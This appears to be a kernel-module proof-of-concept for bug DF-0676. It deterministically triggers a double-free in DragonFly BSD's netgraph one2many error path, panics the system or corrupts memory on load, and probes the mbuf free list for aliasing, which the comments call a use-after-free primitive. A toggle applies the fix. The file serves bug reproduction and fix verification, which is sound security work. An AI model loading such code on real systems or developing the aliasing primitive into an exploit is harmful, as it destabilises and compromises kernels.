DF-0676 / ng_o2m_df.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-0676 harness: deterministically prove the double-free in * ng_one2many_rcvdata()'s XMIT_ALL error path * (sys/netgraph7/one2many/ng_one2many.c:464-468). * * Bug mechanism (traced against netgraph7/netgraph.h): * m = NGI_M(item); // PEEK: mbuf still owned by item * m2 = m_dup(m, M_NOWAIT); * if (m2 == NULL) { // OOM * NG_FREE_ITEM(item); // -> el_flags |= NGQF_FREE; does NOT clear _NGI_M(item) * NG_FREE_M(m); // -> m_freem(m); local m=NULL; _NGI_M(item) STILL = freed mbuf * return (ENOBUFS); * } * // back in ng_apply_item() -> ng_unref_item(item, ENOBUFS) -> ng_free_item(item): * // case NGQF_DATA: NG_FREE_M(_NGI_M(item)); <-- m_freem() on already-freed mbuf * // => DOUBLE FREE * * Live triggering needs m_dup() to fail (mbuf OOM), which is not reliable to force * without destabilising the guest. This harness instead replays the EXACT macro * sequence from netgraph7/netgraph.h on a real mbuf + a real struct ng_item, so the * double-free is reproduced deterministically. On GENERIC (INVARIANTS on) the second * m_freem() trips the slab/mbuf double-free check and panics. * * Reachability: building the one2many topology requires the NG_CONTROL socket, whose * ngc_attach() does caps_priv_check(SYSCAP_RESTRICTEDROOT) -> ROOT-ONLY. * * Run: kldload ./ng_o2m_df.ko -> double-free panic. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/mbuf.h> #include <netgraph7/netgraph.h> MALLOC_DEFINE(M_DF0676, "df0676", "DF-0676 ng double-free harness"); static int apply_fix = 0; /* =1 apply the fix (NGI_GET_M detach); =0 baseline (buggy) */ TUNABLE_INT("hw.df0676.apply_fix", &apply_fix); static int ng_o2m_df_load(module_t mod, int what, void *arg) { struct mbuf *m; struct ng_item *item; void *freed_mbuf; if (what != MOD_LOAD) return (0); /* Build a real mbuf and a real NGQF_DATA item wrapping it (m = NGI_M(item)). */ m = m_gethdr(M_WAITOK, MT_DATA); if (m == NULL) { kprintf("DF0676: m_gethdr failed\n"); return 0; } mtod(m, char *)[0] = 'X'; item = kmalloc(sizeof(*item), M_DF0676, M_WAITOK | M_ZERO); item->el_flags = NGQF_DATA; /* type = data */ item->refs = 1; _NGI_M(item) = m; /* peek: mbuf owned by item (mirrors line 425) */ kprintf("DF0676: m=%p item=%p _NGI_M(item)=%p el_flags=0x%lx\n", m, item, _NGI_M(item), item->el_flags); /* --- ng_one2many_rcvdata XMIT_ALL error path (m_dup == NULL) --- */ kprintf("DF0676: replaying XMIT_ALL m_dup-NULL error path (apply_fix=%d):\n", apply_fix); if (apply_fix) { /* THE FIX: detach the mbuf from the item before freeing it. */ NGI_GET_M(item, m); /* m = _NGI_M(item); _NGI_M(item) = NULL */ kprintf("DF0676: [FIX] NGI_GET_M(item,m) detached mbuf (_NGI_M=NULL)\n"); } kprintf("DF0676: NG_FREE_ITEM(item) [marks NGQF_FREE%s]\n", apply_fix ? "; _NGI_M already NULL" : ", does NOT clear _NGI_M"); NG_FREE_ITEM(item); /* el_flags |= NGQF_FREE */ kprintf("DF0676: NG_FREE_M(m) [m_freem(m)]\n"); NG_FREE_M(m); /* frees the mbuf */ kprintf("DF0676: after error path: local m=%p _NGI_M(item)=%p (DANGLING -> freed mbuf)\n", m, _NGI_M(item)); /* --- ng_apply_item -> ng_unref_item -> ng_free_item (NGQF_DATA case) --- */ kprintf("DF0676: replaying ng_apply_item -> ng_unref_item (refs->0) -> ng_free_item:\n"); kprintf("DF0676: NGQF_DATA case: NG_FREE_M(_NGI_M(item)) <-- DOUBLE FREE\n"); item->refs = 0; /* emulate last reference release */ /* This is the exact NGQF_DATA line from ng_free_item(): frees _NGI_M again. */ freed_mbuf = _NGI_M(item); /* the about-to-be-double-freed address */ NG_FREE_M(_NGI_M(item)); kprintf("DF0676: ng_free_item freed mbuf %p a 2nd time (double-free executed)\n", freed_mbuf); kprintf("DF0676: mbuf objcache did NOT trap the double-free (silent corruption)\n"); /* Prove the double-free corrupted the free list: the address handed back twice * should now be allocatable as two DISTINCT mbufs (aliasing). Pin to one CPU. */ crit_enter(); { struct mbuf *q[16]; int i, hits = 0; for (i = 0; i < 16; i++) { q[i] = m_gethdr(M_WAITOK, MT_DATA); if ((void *)q[i] == (void *)freed_mbuf) hits++; } kprintf("DF0676: 16 fresh m_gethdr: address %p returned %d time(s); " ">=2 => double-free aliasing (use-after-free primitive)\n", freed_mbuf, hits); for (i = 0; i < 16; i++) m_freem(q[i]); } crit_exit(); kfree(item, M_DF0676); return (0); } static moduledata_t ng_o2m_df_mod = { "ng_o2m_df", ng_o2m_df_load, NULL }; DECLARE_MODULE(ng_o2m_df, ng_o2m_df_mod, SI_SUB_PSEUDO, SI_ORDER_ANY); MODULE_VERSION(ng_o2m_df, 1); |